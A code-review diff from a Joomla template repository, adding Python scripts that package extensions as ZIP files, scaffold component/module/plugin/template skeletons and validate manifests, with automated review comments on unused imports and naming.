info = parse_manifest(manifest)
|
||||
|
||||
common.log_section("Manifest Information")
|
||||
common.log_kv("Type", info.extension_type)
|
||||
common.log_kv("Name", info.name)
|
||||
common.log_kv("Version", info.version)
|
||||
|
||||
if info.description:
|
||||
common.log_kv("Description", info.description[:60] + "..." if len(info.description) > 60 else info.description)
|
||||
|
||||
if info.author:
|
||||
common.log_kv("Author", info.author)
|
||||
|
||||
is_valid, warnings = validate_manifest(manifest)
|
||||
|
||||
if is_valid:
|
||||
common.log_success("Manifest is valid")
|
||||
if warnings:
|
||||
common.log_warn(f"Warnings: {len(warnings)}")
|
||||
for warning in warnings:
|
||||
print(f" - {warning}")
|
||||
else:
|
||||
common.log_error("Manifest validation failed")
|
||||
|
||||
except SystemExit as e:
|
||||
sys.exit(e.code)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
312
scripts/release/package_extension.py
Executable file
@@ -0,0 +1,312 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Package Joomla extension as distributable ZIP.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Script.Release
|
||||
INGROUP: Extension.Packaging
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/release/package_extension.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Package Joomla extension as distributable ZIP
|
||||
USAGE: ./scripts/release/package_extension.py [output_dir] [version]
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import os
|
||||
|
Import of 'os' is not used. Import of 'os' is not used.
```suggestion
```
|
||||
import shutil
|
||||
|
Import of 'shutil' is not used. Import of 'shutil' is not used.
```suggestion
```
|
||||
import sys
|
||||
import zipfile
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import List, Set
|
||||
|
Import of 'List' is not used. Import of 'List' is not used.
```suggestion
from typing import Set
```
|
||||
|
||||
# Add lib directory to path
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
|
||||
|
||||
try:
|
||||
import common
|
||||
import joomla_manifest
|
||||
except ImportError:
|
||||
print("ERROR: Cannot import required libraries", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# Exclusion patterns for packaging
|
||||
EXCLUDE_PATTERNS = {
|
||||
# Version control
|
||||
".git", ".gitignore", ".gitattributes",
|
||||
# IDE
|
||||
".vscode", ".idea", "*.sublime-*",
|
||||
# Development
|
||||
"node_modules", "vendor", ".env", ".env.*",
|
||||
# Documentation (optional, can be included)
|
||||
# Build artifacts
|
||||
"dist", "build", ".phpunit.cache",
|
||||
# OS files
|
||||
".DS_Store", "Thumbs.db",
|
||||
# Logs
|
||||
"*.log",
|
||||
# Tests
|
||||
"tests", "test", "Tests",
|
||||
# CI/CD
|
||||
".github",
|
||||
# Scripts
|
||||
"scripts",
|
||||
# Docs (can be included if needed)
|
||||
"docs",
|
||||
# Config files
|
||||
"composer.json", "composer.lock",
|
||||
"package.json", "package-lock.json",
|
||||
"phpunit.xml", "phpstan.neon", "phpcs.xml",
|
||||
"codeception.yml",
|
||||
# Others
|
||||
"README.md", "CHANGELOG.md", "CONTRIBUTING.md",
|
||||
"CODE_OF_CONDUCT.md", "SECURITY.md", "GOVERNANCE.md",
|
||||
}
|
||||
|
||||
|
||||
def should_exclude(path: Path, base_path: Path, exclude_patterns: Set[str]) -> bool:
|
||||
"""
|
||||
Check if a path should be excluded from packaging.
|
||||
|
||||
Args:
|
||||
path: Path to check
|
||||
base_path: Base directory path
|
||||
exclude_patterns: Set of exclusion patterns
|
||||
|
||||
Returns:
|
||||
True if should be excluded
|
||||
"""
|
||||
relative_path = path.relative_to(base_path)
|
||||
|
||||
# Check each part of the path
|
||||
for part in relative_path.parts:
|
||||
if part in exclude_patterns:
|
||||
return True
|
||||
# Check wildcard patterns
|
||||
for pattern in exclude_patterns:
|
||||
if "*" in pattern:
|
||||
import fnmatch
|
||||
|
The import statement uses The import statement uses `fnmatch` inside the function instead of at the module level. This violates PEP 8 import conventions and can impact performance when the function is called repeatedly. Import statements should be placed at the top of the file with other imports.
|
||||
if fnmatch.fnmatch(part, pattern):
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def create_package(
|
||||
src_dir: str,
|
||||
output_dir: str,
|
||||
version: str = None,
|
||||
repo_name: str = None,
|
||||
exclude_patterns: Set[str] = None
|
||||
) -> Path:
|
||||
"""
|
||||
Create a distributable ZIP package for a Joomla extension.
|
||||
|
||||
Args:
|
||||
src_dir: Source directory containing extension files
|
||||
output_dir: Output directory for ZIP file
|
||||
version: Version string (auto-detected if not provided)
|
||||
repo_name: Repository name for ZIP file naming
|
||||
exclude_patterns: Patterns to exclude from packaging
|
||||
|
||||
Returns:
|
||||
Path to created ZIP file
|
||||
"""
|
||||
src_path = Path(src_dir)
|
||||
if not src_path.is_dir():
|
||||
common.die(f"Source directory not found: {src_dir}")
|
||||
|
||||
# Find and parse manifest
|
||||
manifest_path = joomla_manifest.find_manifest(src_dir)
|
||||
manifest_info = joomla_manifest.parse_manifest(manifest_path)
|
||||
|
||||
# Determine version
|
||||
if not version:
|
||||
version = manifest_info.version
|
||||
|
||||
# Determine repo name
|
||||
if not repo_name:
|
||||
try:
|
||||
repo_root = common.git_root()
|
||||
repo_name = repo_root.name
|
||||
except Exception:
|
||||
repo_name = "extension"
|
||||
|
||||
# Determine exclusion patterns
|
||||
if exclude_patterns is None:
|
||||
exclude_patterns = EXCLUDE_PATTERNS
|
||||
|
||||
# Create output directory
|
||||
output_path = Path(output_dir)
|
||||
common.ensure_dir(output_path)
|
||||
|
||||
# Generate ZIP filename
|
||||
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
|
The variable 'timestamp' is assigned on line 165 but never used in the code. This appears to be unused code that should either be removed or incorporated into the ZIP filename if timestamping is desired. The variable 'timestamp' is assigned on line 165 but never used in the code. This appears to be unused code that should either be removed or incorporated into the ZIP filename if timestamping is desired.
```suggestion
```
|
||||
zip_filename = f"{repo_name}-{version}-{manifest_info.extension_type}.zip"
|
||||
zip_path = output_path / zip_filename
|
||||
|
||||
# Remove existing ZIP if present
|
||||
if zip_path.exists():
|
||||
zip_path.unlink()
|
||||
|
||||
common.log_section("Creating Extension Package")
|
||||
common.log_kv("Extension", manifest_info.name)
|
||||
common.log_kv("Type", manifest_info.extension_type)
|
||||
common.log_kv("Version", version)
|
||||
common.log_kv("Source", src_dir)
|
||||
common.log_kv("Output", str(zip_path))
|
||||
print()
|
||||
|
||||
# Create ZIP file
|
||||
file_count = 0
|
||||
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
|
||||
for item in src_path.rglob("*"):
|
||||
if item.is_file():
|
||||
# Check if should be excluded
|
||||
if should_exclude(item, src_path, exclude_patterns):
|
||||
continue
|
||||
|
||||
# Add to ZIP with relative path
|
||||
arcname = item.relative_to(src_path)
|
||||
zipf.write(item, arcname)
|
||||
file_count += 1
|
||||
|
||||
if file_count % 10 == 0:
|
||||
common.log_step(f"Added {file_count} files...")
|
||||
|
||||
# Get ZIP file size
|
||||
zip_size = zip_path.stat().st_size
|
||||
zip_size_mb = zip_size / (1024 * 1024)
|
||||
|
||||
print()
|
||||
common.log_success(f"Package created: {zip_path.name}")
|
||||
common.log_kv("Files", str(file_count))
|
||||
common.log_kv("Size", f"{zip_size_mb:.2f} MB")
|
||||
|
||||
# Output JSON for machine consumption
|
||||
result = {
|
||||
"status": "ok",
|
||||
"extension": manifest_info.name,
|
||||
"ext_type": manifest_info.extension_type,
|
||||
"version": version,
|
||||
"package": str(zip_path),
|
||||
"files": file_count,
|
||||
"size_bytes": zip_size
|
||||
}
|
||||
|
||||
print()
|
||||
common.json_output(result)
|
||||
|
||||
return zip_path
|
||||
|
||||
|
||||
def main() -> int:
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Package Joomla extension as distributable ZIP",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Package with auto-detected version
|
||||
%(prog)s
|
||||
|
||||
# Package to specific directory
|
||||
%(prog)s dist
|
||||
|
||||
# Package with specific version
|
||||
%(prog)s dist 1.2.3
|
||||
|
||||
# Package with custom source
|
||||
%(prog)s --src-dir my-extension dist 1.0.0
|
||||
"""
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"output_dir",
|
||||
nargs="?",
|
||||
default="dist",
|
||||
help="Output directory for ZIP file (default: dist)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"version",
|
||||
nargs="?",
|
||||
help="Version string (default: auto-detected from manifest)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"-s", "--src-dir",
|
||||
default="src",
|
||||
help="Source directory (default: src)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--repo-name",
|
||||
help="Repository name for ZIP filename (default: auto-detected)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--include-docs",
|
||||
action="store_true",
|
||||
help="Include documentation files in package"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--include-tests",
|
||||
action="store_true",
|
||||
help="Include test files in package"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
# Adjust exclusion patterns based on arguments
|
||||
exclude_patterns = EXCLUDE_PATTERNS.copy()
|
||||
if args.include_docs:
|
||||
exclude_patterns.discard("docs")
|
||||
exclude_patterns.discard("README.md")
|
||||
exclude_patterns.discard("CHANGELOG.md")
|
||||
if args.include_tests:
|
||||
exclude_patterns.discard("tests")
|
||||
exclude_patterns.discard("test")
|
||||
exclude_patterns.discard("Tests")
|
||||
|
||||
# Create package
|
||||
zip_path = create_package(
|
||||
|
Variable zip_path is not used. Variable zip_path is not used.
```suggestion
create_package(
```
|
||||
src_dir=args.src_dir,
|
||||
output_dir=args.output_dir,
|
||||
version=args.version,
|
||||
repo_name=args.repo_name,
|
||||
exclude_patterns=exclude_patterns
|
||||
)
|
||||
|
||||
return 0
|
||||
|
||||
except Exception as e:
|
||||
common.log_error(f"Packaging failed: {e}")
|
||||
result = {
|
||||
"status": "error",
|
||||
"error": str(e)
|
||||
}
|
||||
common.json_output(result)
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
448
scripts/run/scaffold_extension.py
Executable file
@@ -0,0 +1,448 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Create Joomla extension scaffolding.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Moko-Cassiopeia.Scripts
|
||||
INGROUP: Scripts.Run
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/run/scaffold_extension.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Create scaffolding for different Joomla extension types
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Dict
|
||||
|
||||
# Add lib directory to path
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
|
||||
|
||||
try:
|
||||
import common
|
||||
import joomla_manifest
|
||||
|
Import of 'joomla_manifest' is not used. Import of 'joomla_manifest' is not used.
```suggestion
```
|
||||
except ImportError:
|
||||
print("ERROR: Cannot import required libraries", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Templates for Extension Scaffolding
|
||||
# ============================================================================
|
||||
|
||||
def get_component_structure(name: str, description: str, author: str) -> Dict[str, str]:
|
||||
"""Get directory structure and files for a component."""
|
||||
safe_name = name.lower().replace(" ", "_")
|
||||
com_name = f"com_{safe_name}"
|
||||
|
||||
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<extension type="component" version="4.0" method="upgrade">
|
||||
<name>{name}</name>
|
||||
<author>{author}</author>
|
||||
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
|
||||
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
|
||||
<license>GPL-3.0-or-later</license>
|
||||
<authorEmail>hello@example.com</authorEmail>
|
||||
<authorUrl>https://example.com</authorUrl>
|
||||
<version>1.0.0</version>
|
||||
<description>{description}</description>
|
||||
|
||||
<files folder="site">
|
||||
<folder>src</folder>
|
||||
</files>
|
||||
|
||||
<administration>
|
||||
<menu>{name}</menu>
|
||||
<files folder="admin">
|
||||
<folder>services</folder>
|
||||
<folder>sql</folder>
|
||||
<folder>src</folder>
|
||||
</files>
|
||||
</administration>
|
||||
</extension>
|
||||
"""
|
||||
|
||||
return {
|
||||
f"{com_name}.xml": manifest,
|
||||
"site/src/.gitkeep": "",
|
||||
"admin/services/provider.php": f"<?php\n// Service provider for {name}\n",
|
||||
"admin/sql/install.mysql.utf8.sql": "-- Installation SQL\n",
|
||||
"admin/sql/uninstall.mysql.utf8.sql": "-- Uninstallation SQL\n",
|
||||
"admin/src/.gitkeep": "",
|
||||
}
|
||||
|
||||
|
||||
def get_module_structure(name: str, description: str, author: str, client: str = "site") -> Dict[str, str]:
|
||||
"""Get directory structure and files for a module."""
|
||||
safe_name = name.lower().replace(" ", "_")
|
||||
mod_name = f"mod_{safe_name}"
|
||||
|
||||
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<extension type="module" version="4.0" client="{client}" method="upgrade">
|
||||
<name>{name}</name>
|
||||
<author>{author}</author>
|
||||
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
|
||||
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
|
||||
<license>GPL-3.0-or-later</license>
|
||||
<authorEmail>hello@example.com</authorEmail>
|
||||
<authorUrl>https://example.com</authorUrl>
|
||||
<version>1.0.0</version>
|
||||
<description>{description}</description>
|
||||
|
||||
<files>
|
||||
<filename module="{mod_name}">{mod_name}.php</filename>
|
||||
<filename>{mod_name}.xml</filename>
|
||||
<folder>tmpl</folder>
|
||||
</files>
|
||||
</extension>
|
||||
"""
|
||||
|
||||
module_php = f"""<?php
|
||||
/**
|
||||
* @package {name}
|
||||
* @copyright Copyright (C) {datetime.now().year} {author}
|
||||
* @license GPL-3.0-or-later
|
||||
*/
|
||||
|
||||
defined('_JEXEC') or die;
|
||||
|
||||
// Module logic here
|
||||
require JModuleHelper::getLayoutPath('mod_{safe_name}', $params->get('layout', 'default'));
|
||||
"""
|
||||
|
||||
default_tmpl = f"""<?php
|
||||
/**
|
||||
* @package {name}
|
||||
* @copyright Copyright (C) {datetime.now().year} {author}
|
||||
* @license GPL-3.0-or-later
|
||||
*/
|
||||
|
||||
defined('_JEXEC') or die;
|
||||
?>
|
||||
<div class="{mod_name}">
|
||||
<p><?php echo JText::_('MOD_{safe_name.upper()}_DESCRIPTION'); ?></p>
|
||||
|
The f-string contains an embedded f-string for 'safe_name.upper()' on line 144. This creates a nested f-string pattern which is unnecessarily complex and reduces readability. Consider computing 'safe_name.upper()' beforehand and using it in the f-string, or restructuring the string formatting. The f-string contains an embedded f-string for 'safe_name.upper()' on line 144. This creates a nested f-string pattern which is unnecessarily complex and reduces readability. Consider computing 'safe_name.upper()' beforehand and using it in the f-string, or restructuring the string formatting.
|
||||
</div>
|
||||
"""
|
||||
|
||||
return {
|
||||
f"{mod_name}.xml": manifest,
|
||||
f"{mod_name}.php": module_php,
|
||||
"tmpl/default.php": default_tmpl,
|
||||
}
|
||||
|
||||
|
||||
def get_plugin_structure(name: str, description: str, author: str, group: str = "system") -> Dict[str, str]:
|
||||
"""Get directory structure and files for a plugin."""
|
||||
safe_name = name.lower().replace(" ", "_")
|
||||
plg_name = f"{safe_name}"
|
||||
|
||||
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<extension type="plugin" version="4.0" group="{group}" method="upgrade">
|
||||
<name>plg_{group}_{safe_name}</name>
|
||||
<author>{author}</author>
|
||||
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
|
||||
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
|
||||
<license>GPL-3.0-or-later</license>
|
||||
<authorEmail>hello@example.com</authorEmail>
|
||||
<authorUrl>https://example.com</authorUrl>
|
||||
<version>1.0.0</version>
|
||||
<description>{description}</description>
|
||||
|
||||
<files>
|
||||
<filename plugin="{plg_name}">{plg_name}.php</filename>
|
||||
</files>
|
||||
</extension>
|
||||
"""
|
||||
|
||||
plugin_php = f"""<?php
|
||||
/**
|
||||
* @package {name}
|
||||
* @copyright Copyright (C) {datetime.now().year} {author}
|
||||
* @license GPL-3.0-or-later
|
||||
*/
|
||||
|
||||
defined('_JEXEC') or die;
|
||||
|
||||
use Joomla\\CMS\\Plugin\\CMSPlugin;
|
||||
|
||||
class Plg{group.capitalize()}{plg_name.capitalize()} extends CMSPlugin
|
||||
|
The plugin PHP class name generation uses 'plg_name.capitalize()' which only capitalizes the first character. For multi-word plugin names (e.g., 'my_plugin'), this would generate 'PlgSystemMy_plugin' instead of 'PlgSystemMyPlugin'. Consider using a proper camelCase conversion that capitalizes each word segment separated by underscores. The plugin PHP class name generation uses 'plg_name.capitalize()' which only capitalizes the first character. For multi-word plugin names (e.g., 'my_plugin'), this would generate 'PlgSystemMy_plugin' instead of 'PlgSystemMyPlugin'. Consider using a proper camelCase conversion that capitalizes each word segment separated by underscores.
|
||||
{{
|
||||
protected $autoloadLanguage = true;
|
||||
|
||||
public function onContentPrepare($context, &$article, &$params, $limitstart = 0)
|
||||
{{
|
||||
// Plugin logic here
|
||||
}}
|
||||
}}
|
||||
"""
|
||||
|
||||
return {
|
||||
f"plg_{group}_{safe_name}.xml": manifest,
|
||||
f"{plg_name}.php": plugin_php,
|
||||
}
|
||||
|
||||
|
||||
def get_template_structure(name: str, description: str, author: str) -> Dict[str, str]:
|
||||
"""Get directory structure and files for a template."""
|
||||
safe_name = name.lower().replace(" ", "_")
|
||||
|
||||
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<extension type="template" version="4.0" client="site" method="upgrade">
|
||||
<name>{safe_name}</name>
|
||||
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
|
||||
<author>{author}</author>
|
||||
<authorEmail>hello@example.com</authorEmail>
|
||||
<authorUrl>https://example.com</authorUrl>
|
||||
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
|
||||
<license>GPL-3.0-or-later</license>
|
||||
<version>1.0.0</version>
|
||||
<description>{description}</description>
|
||||
|
||||
<files>
|
||||
<filename>index.php</filename>
|
||||
<filename>templateDetails.xml</filename>
|
||||
<folder>css</folder>
|
||||
<folder>js</folder>
|
||||
<folder>images</folder>
|
||||
</files>
|
||||
|
||||
<positions>
|
||||
<position>header</position>
|
||||
<position>main</position>
|
||||
<position>footer</position>
|
||||
</positions>
|
||||
</extension>
|
||||
"""
|
||||
|
||||
index_php = f"""<?php
|
||||
/**
|
||||
* @package {name}
|
||||
* @copyright Copyright (C) {datetime.now().year} {author}
|
||||
* @license GPL-3.0-or-later
|
||||
*/
|
||||
|
||||
defined('_JEXEC') or die;
|
||||
|
||||
use Joomla\\CMS\\Factory;
|
||||
use Joomla\\CMS\\HTML\\HTMLHelper;
|
||||
use Joomla\\CMS\\Uri\\Uri;
|
||||
|
||||
$app = Factory::getApplication();
|
||||
$wa = $app->getDocument()->getWebAssetManager();
|
||||
|
||||
// Load template assets
|
||||
$wa->useStyle('template.{safe_name}')->useScript('template.{safe_name}');
|
||||
?>
|
||||
<!DOCTYPE html>
|
||||
<html lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
|
||||
<head>
|
||||
<jdoc:include type="metas" />
|
||||
<jdoc:include type="styles" />
|
||||
<jdoc:include type="scripts" />
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<jdoc:include type="modules" name="header" style="html5" />
|
||||
</header>
|
||||
<main>
|
||||
<jdoc:include type="component" />
|
||||
</main>
|
||||
<footer>
|
||||
<jdoc:include type="modules" name="footer" style="html5" />
|
||||
</footer>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return {
|
||||
"templateDetails.xml": manifest,
|
||||
"index.php": index_php,
|
||||
"css/template.css": "/* Template styles */\n",
|
||||
"js/template.js": "// Template JavaScript\n",
|
||||
"images/.gitkeep": "",
|
||||
}
|
||||
|
||||
|
||||
def get_package_structure(name: str, description: str, author: str) -> Dict[str, str]:
|
||||
"""Get directory structure and files for a package."""
|
||||
safe_name = name.lower().replace(" ", "_")
|
||||
pkg_name = f"pkg_{safe_name}"
|
||||
|
||||
manifest = f"""<?xml version="1.0" encoding="utf-8"?>
|
||||
<extension type="package" version="4.0" method="upgrade">
|
||||
<name>{name}</name>
|
||||
<packagename>{safe_name}</packagename>
|
||||
<author>{author}</author>
|
||||
<creationDate>{datetime.now().strftime("%Y-%m-%d")}</creationDate>
|
||||
<copyright>Copyright (C) {datetime.now().year} {author}</copyright>
|
||||
<license>GPL-3.0-or-later</license>
|
||||
<authorEmail>hello@example.com</authorEmail>
|
||||
<authorUrl>https://example.com</authorUrl>
|
||||
<version>1.0.0</version>
|
||||
<description>{description}</description>
|
||||
|
||||
<files folder="packages">
|
||||
<!-- Add extension packages here -->
|
||||
</files>
|
||||
</extension>
|
||||
"""
|
||||
|
||||
return {
|
||||
f"{pkg_name}.xml": manifest,
|
||||
"packages/.gitkeep": "",
|
||||
}
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Scaffolding Functions
|
||||
# ============================================================================
|
||||
|
||||
def create_extension(
|
||||
ext_type: str,
|
||||
name: str,
|
||||
description: str,
|
||||
author: str,
|
||||
output_dir: str = "src",
|
||||
**kwargs
|
||||
) -> None:
|
||||
"""
|
||||
Create extension scaffolding.
|
||||
|
||||
Args:
|
||||
ext_type: Extension type (component, module, plugin, template, package)
|
||||
name: Extension name
|
||||
description: Extension description
|
||||
author: Author name
|
||||
output_dir: Output directory
|
||||
**kwargs: Additional type-specific options
|
||||
"""
|
||||
output_path = Path(output_dir)
|
||||
|
||||
# Get structure based on type
|
||||
if ext_type == "component":
|
||||
structure = get_component_structure(name, description, author)
|
||||
elif ext_type == "module":
|
||||
client = kwargs.get("client", "site")
|
||||
structure = get_module_structure(name, description, author, client)
|
||||
elif ext_type == "plugin":
|
||||
group = kwargs.get("group", "system")
|
||||
structure = get_plugin_structure(name, description, author, group)
|
||||
elif ext_type == "template":
|
||||
structure = get_template_structure(name, description, author)
|
||||
elif ext_type == "package":
|
||||
structure = get_package_structure(name, description, author)
|
||||
else:
|
||||
common.die(f"Unknown extension type: {ext_type}")
|
||||
|
||||
# Create files
|
||||
common.log_section(f"Creating {ext_type}: {name}")
|
||||
|
||||
for file_path, content in structure.items():
|
||||
full_path = output_path / file_path
|
||||
|
||||
# Create parent directories
|
||||
full_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# Write file
|
||||
full_path.write_text(content, encoding="utf-8")
|
||||
common.log_success(f"Created: {file_path}")
|
||||
|
||||
common.log_section("Scaffolding Complete")
|
||||
common.log_info(f"Extension files created in: {output_path}")
|
||||
common.log_info(f"Extension type: {ext_type}")
|
||||
common.log_info(f"Extension name: {name}")
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Command Line Interface
|
||||
# ============================================================================
|
||||
|
||||
def main() -> None:
|
||||
"""Main entry point."""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Create Joomla extension scaffolding",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
# Create a component
|
||||
%(prog)s component MyComponent "My Component Description" "John Doe"
|
||||
|
||||
# Create a module
|
||||
%(prog)s module MyModule "My Module Description" "John Doe" --client site
|
||||
|
||||
# Create a plugin
|
||||
%(prog)s plugin MyPlugin "My Plugin Description" "John Doe" --group system
|
||||
|
||||
# Create a template
|
||||
%(prog)s template mytheme "My Theme Description" "John Doe"
|
||||
|
||||
# Create a package
|
||||
%(prog)s package mypackage "My Package Description" "John Doe"
|
||||
"""
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"type",
|
||||
choices=["component", "module", "plugin", "template", "package"],
|
||||
help="Extension type to create"
|
||||
)
|
||||
parser.add_argument("name", help="Extension name")
|
||||
parser.add_argument("description", help="Extension description")
|
||||
parser.add_argument("author", help="Author name")
|
||||
parser.add_argument(
|
||||
"-o", "--output",
|
||||
default="src",
|
||||
help="Output directory (default: src)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--client",
|
||||
choices=["site", "administrator"],
|
||||
default="site",
|
||||
help="Module client (site or administrator)"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--group",
|
||||
default="system",
|
||||
help="Plugin group (system, content, user, etc.)"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
try:
|
||||
create_extension(
|
||||
ext_type=args.type,
|
||||
name=args.name,
|
||||
description=args.description,
|
||||
author=args.author,
|
||||
output_dir=args.output,
|
||||
client=args.client,
|
||||
group=args.group
|
||||
)
|
||||
except Exception as e:
|
||||
common.log_error(f"Failed to create extension: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
168
scripts/validate/manifest.py
Executable file
@@ -0,0 +1,168 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Validate Joomla manifest files.
|
||||
|
||||
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
|
||||
|
||||
This file is part of a Moko Consulting project.
|
||||
|
||||
SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program (./LICENSE.md).
|
||||
|
||||
FILE INFORMATION
|
||||
DEFGROUP: Moko-Cassiopeia.Scripts
|
||||
INGROUP: Scripts.Validate
|
||||
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
|
||||
PATH: /scripts/validate/manifest.py
|
||||
VERSION: 01.00.00
|
||||
BRIEF: Validate Joomla extension manifest files
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from pathlib import Path
|
||||
|
||||
# Add lib directory to path
|
||||
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
|
||||
|
||||
try:
|
||||
import common
|
||||
import joomla_manifest
|
||||
except ImportError:
|
||||
print("ERROR: Cannot import required libraries", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def validate_manifest_file(manifest_path: Path, verbose: bool = False) -> bool:
|
||||
"""
|
||||
Validate a single manifest file.
|
||||
|
||||
Args:
|
||||
manifest_path: Path to manifest file
|
||||
verbose: Show detailed output
|
||||
|
||||
Returns:
|
||||
True if valid, False otherwise
|
||||
"""
|
||||
try:
|
||||
info = joomla_manifest.parse_manifest(manifest_path)
|
||||
is_valid, warnings = joomla_manifest.validate_manifest(manifest_path)
|
||||
|
||||
if verbose:
|
||||
common.log_section(f"Manifest: {manifest_path}")
|
||||
common.log_kv("Type", info.extension_type)
|
||||
common.log_kv("Name", info.name)
|
||||
common.log_kv("Version", info.version)
|
||||
|
||||
if warnings:
|
||||
common.log_warn(f"Warnings ({len(warnings)}):")
|
||||
for warning in warnings:
|
||||
print(f" - {warning}")
|
||||
|
||||
# Output JSON for machine consumption
|
||||
result = {
|
||||
"status": "ok" if is_valid else "error",
|
||||
"manifest": str(manifest_path),
|
||||
"ext_type": info.extension_type,
|
||||
"name": info.name,
|
||||
"version": info.version,
|
||||
"warnings": warnings
|
||||
}
|
||||
|
||||
if not verbose:
|
||||
common.json_output(result)
|
||||
|
||||
if is_valid:
|
||||
if not verbose:
|
||||
print(f"manifest: ok ({manifest_path})")
|
||||
else:
|
||||
common.log_success("Manifest is valid")
|
||||
return True
|
||||
else:
|
||||
common.log_error(f"Manifest validation failed: {manifest_path}")
|
||||
return False
|
||||
|
||||
except SystemExit:
|
||||
